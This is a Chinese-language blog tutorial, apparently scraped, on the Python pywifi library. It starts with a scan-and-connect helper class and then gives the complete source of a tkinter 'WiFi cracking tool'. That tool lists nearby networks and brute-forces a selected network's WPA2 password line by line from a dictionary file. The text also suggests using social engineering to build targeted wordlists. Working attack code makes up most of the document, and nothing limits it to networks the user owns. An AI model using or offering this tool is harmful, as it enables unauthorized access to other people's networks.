[709]python之pywifi_class my_gui() import pywifi

安装pywifi

pip install pywifi
pip install comtypes
1
2

实例

# -*- coding: utf-8 -*-
import time
from pywifi import const, PyWiFi, Profile


class WiFi(object):
    # 创建对象自动初始化，类似Java的构造函数
    def __init__(self):
        wifi = PyWiFi()                     # 创建一个无线对象
        self.iface = wifi.interfaces()[0]   # 获取当前机器第一个无线网卡

    # 查看wifi的连接状态
    def wifi_connect_status(self):
        """
        判断本机是否有无线网卡，以及连接状态
        :return:已连接或存在网卡返回1，否则返回0
        """
        ret_list = []
        # 判断是否连接成功
        if self.iface.status() in \
                [const.IFACE_CONNECTED, const.IFACE_CONNECTING, const.IFACE_INACTIVE]:
            return self.iface.name()        # 连接成功显示连接设备
        else:
            return "not connected!"        # 连接失败返回失败信息

    """
    扫描附近wifi
        乱码问题：
        把wifi_info.ssid重新编码为gb18030
        wifi_info.ssid.encode('raw_unicode_escape','strict').decode('gb18030')
        我也不清楚他为什么不全用unicode
        ssid出来应该是unicode  但是  你往profile里面写的时候  必须是gb18030
        所以这么一个操作
        你会发现gb18030在控制台和py的某些控件上输出是乱码  是因为 控制台是utf-8
        想在这上面输出中文的话你得encode('raw_unicode_escape','strict').decode()
    """
    def scan_wifi(self, scantime=5):
        """
        :param scantime:    指定扫描时间，默认扫描时间为5秒
        :return:            返回的是一个network dictionary,key=bssid,value=ssid
        """
        self.iface.scan()                                           # 扫描附近wifi
        time.sleep(scantime)
        basewifi = self.iface.scan_results()
        dict = {}
        for i in basewifi:
            dict[i.bssid] = i.ssid.encode(encoding='raw_unicode_escape', errors='strict').decode()
        return dict

    # 链接到指定wifi
    def connect_wifi(self, wifi_ssid, password):
        profile = Profile()                                         # 配置文件
        profile.ssid = wifi_ssid                                    # wifi名称
        profile.auth = const.AUTH_ALG_OPEN                          # 需要密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)                  # 加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP                     # 加密单元
        profile.key = password                                      # wifi密码

        self.iface.remove_all_network_profiles()                    # 删除其他配置
        tmp_profile = self.iface.add_network_profile(profile)       # 加载配置

        self.iface.connect(tmp_profile)                             # link start
        time.sleep(10)                                              # 尝试10s是否成功
        isok = True
        if self.iface.status() == const.IFACE_CONNECTED:
            return isok                                             # 连接成功
        else:
            isok = False                                            # 连接失败设置isok = False
        self.iface.disconnect()                                     # 避免超时后连接成功手动断开一下，因为在一定时间内连接失败用户会继续重试连接
        time.sleep(1)
        return isok


if __name__ == "__main__":
    wifi = WiFi()
    print(wifi.wifi_connect_status())
    print(wifi.scan_wifi())
    print(wifi.connect_wifi(r"HUAWEI P30 Pro", r"123456789"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

python暴力破解wifi

实验思路：

• 首先搜索附近的wifi，将这些wifi信息（wifi个数、wifi名称、对应的Mac地址、以及信号强度）显示出来。
• 其次通过显示出来的wifi列表，如果想对某个wifi进行破解，只需点击该行，就可以将该wifi的名称获取到。
• 最后需要将使用密码字典文件导入进来实施破解即可。如果破解成功就弹出对话框显示破解成功，并且将破解获取到的wifi密码显示到wifi密码这一栏中，如果破解不成功，显示破解失败对话框。

实验步骤：分两步

step1:编写界面代码

这一步需要使用tkinter模块,这是python自带的图形界面库，通过import tkinter调用使用就可以了，代码中set_init_window函数就是实现界面排版功能。最后的界面实现结果如下图:

其中，各项表示的含义：

• 搜索附近wifi：搜索wifi
• 开始破解：破解之前需要获取wifi和密码文件路径
• 目录路径：显示密码字典文件的路径
• wifi账号：显示的是所要破解的wifi名称
• wifi密码：显示的是所要破解WiFi的密码

wifi列表中包括四列，分别是：wifiID，SSID，BSSID，signal

• wifiID：表示wifi的个数
• SSID：表示wifi的名称
• BSSID：表示wifi的MAC地址
• signal：表示wifi的信号强度

step2:编写破解wifi代码

实现过程：
1、首先导入pywifi模块，因为要启用wifi那么必须要有启用wifi的模块。
2、有了启用wifi的模块以后，我们首先要抓取网卡接口， 因为连接无线wifi，必须要有网卡才行。一台电脑可能有很多网卡， 但是一般都只有一个wifi网卡，我们使用第一个网卡就行了。
3、抓取到以后就进行连接测试，首先是要断开所有的wifi网卡上 的已连接成功的，因为有可能wifi上有连接成功的在。
4、断开所有的wifi以后，我们就可以进行破解了， 从（.txt）文档中一行一行读取我们的密码字典， 一遍一遍的刷密码，直到返回isOK为True,表示破解成功。
5、因为连接也是要时间的，不可能一秒钟尝试好多次， 而且还依赖字典的强度。

对密码字典的思考：
如果想要破解某个wifi的话，还是应该结合社会工程学搜集该wifi的信息，然后根据这些信息通过密码生成器从而生成更具有针对性的密码，这样破解速度上有很大的提高。

github下载：https://github.com/Leno1993/python-wifi

code

# coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi,time,tkinter.filedialog,tkinter.messagebox
from pywifi import const


class MY_GUI():
	def __init__(self,init_window_name):
		self.init_window_name = init_window_name
		#密码文件路径
		self.get_value = StringVar()
		#获取破解wifi账号
		self.get_wifi_value = StringVar()
		#获取wifi密码
		self.get_wifimm_value = StringVar()
        
		self.wifi = pywifi.PyWiFi()  #抓取网卡接口
		self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
		self.iface.disconnect()  #测试链接断开所有链接
		time.sleep(1)  #休眠1秒
		#测试网卡是否属于断开状态
		assert self.iface.status() in\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
	
	def __str__(self):
		return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
		
	#设置窗口
	def set_init_window(self):
		self.init_window_name.title("WIFI破解工具")
		self.init_window_name.geometry('+500+200')
		
		labelframe = LabelFrame(width=400, height=200,text="配置")
		labelframe.grid(column=0, row=0, padx=10, pady=10)
		
		self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
		
		self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
		
		self.label = Label(labelframe,text="目录路径：").grid(column=0,row=1)
		
		self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
		
		self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
		
		self.wifi_text = Label(labelframe,text="WiFi账号：").grid(column=0,row=2)
		
		self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
		
		self.wifi_mm_text = Label(labelframe,text="WiFi密码：").grid(column=2,row=2)
		
		self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
		
		self.wifi_labelframe = LabelFrame(text="wifi列表")
		self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
		
		# 定义树形结构与滚动条
		self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))		
		self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)       
		self.wifi_tree.configure(yscrollcommand=self.vbar.set)
		
		# 表格的标题
		self.wifi_tree.column("a", width=50, anchor="center")
		self.wifi_tree.column("b", width=100, anchor="center")
		self.wifi_tree.column("c", width=100, anchor="center")
		self.wifi_tree.column("d", width=100, anchor="center")
         
		self.wifi_tree.heading("a", text="WiFiID")
		self.wifi_tree.heading("b", text="SSID")
		self.wifi_tree.heading("c", text="BSSID")
		self.wifi_tree.heading("d", text="signal")
        
		self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
		self.wifi_tree.bind("<Double-1>",self.onDBClick)
		self.vbar.grid(row=4,column=1,sticky=NS)
		
	#搜索wifi
	#cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
	def scans_wifi_list(self):  # 扫描周围wifi列表
		#开始扫描
		print("^_^ 开始扫描附近wifi...")
		self.iface.scan()
		time.sleep(15)
		#在若干秒后获取扫描结果
		scanres = self.iface.scan_results()
		#统计附近被发现的热点数量
		nums = len(scanres)
		print("数量: %s"%(nums))
		#print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
		# 实际数据
		self.show_scans_wifi_list(scanres)
		return scanres
	
	#显示wifi列表
	def show_scans_wifi_list(self,scans_res):
		for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
			self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
			#print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
	
	#添加密码文件目录
	def add_mm_file(self):
		self.filename = tkinter.filedialog.askopenfilename()
		self.get_value.set(self.filename)
	
	#Treeview绑定事件
	def onDBClick(self,event):
		self.sels= event.widget.selection()
		self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
		#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
	
	#读取密码字典，进行匹配
	def readPassWord(self):
		self.getFilePath = self.get_value.get()
		#print("文件路径：%s\n" %(self.getFilePath))
		self.get_wifissid = self.get_wifi_value.get()
		#print("ssid：%s\n" %(self.get_wifissid))
		self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
		while True:
				try:
					self.pwdStr =self.pwdfilehander.readline()
					#print("密码: %s " %(self.pwdStr))
					if not self.pwdStr:
						break
					self.bool1=self.connect(self.pwdStr,self.get_wifissid)
					#print("返回值：%s\n" %(self.bool1) )
					if self.bool1:
						# print("密码正确："+pwdStr
						# res = "密码:%s 正确 \n"%self.pwdStr;
						self.res = "===正确===  wifi名:%s  匹配密码：%s "%(self.get_wifissid,self.pwdStr)
						self.get_wifimm_value.set(self.pwdStr)
						tkinter.messagebox.showinfo('提示', '破解成功！！！')
						print(self.res)
						break
					else:
						# print("密码:"+self.pwdStr+"错误")
						self.res = "---错误--- wifi名:%s匹配密码：%s"%(self.get_wifissid,self.pwdStr)
						print(self.res)
					sleep(3)
				except:
					continue
	
	#对wifi和密码进行匹配
	def connect(self,pwd_Str,wifi_ssid):
		#创建wifi链接文件
		self.profile = pywifi.Profile()
		self.profile.ssid =wifi_ssid #wifi名称
		self.profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
		self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
		self.profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
		self.profile.key = pwd_Str #密码
		self.iface.remove_all_network_profiles() #删除所有的wifi文件
		self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
		self.iface.connect(self.tmp_profile)#链接
		time.sleep(5)
		if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
			isOK=True   
		else:
			isOK=False
		self.iface.disconnect() #断开
		time.sleep(1)
		#检查断开状态
		assert self.iface.status() in\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
		return isOK
		
def gui_start():
	init_window = Tk()
	ui = MY_GUI(init_window)
	print(ui)
	ui.set_init_window()
	#ui.scans_wifi_list()
	
	init_window.mainloop()
	
gui_start()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177

参考：https://blog.csdn.net/QQB67G8COM/article/details/94363515
https://www.cnblogs.com/lv6965/p/9219905.html
https://www.jianshu.com/p/eaea082fb0c0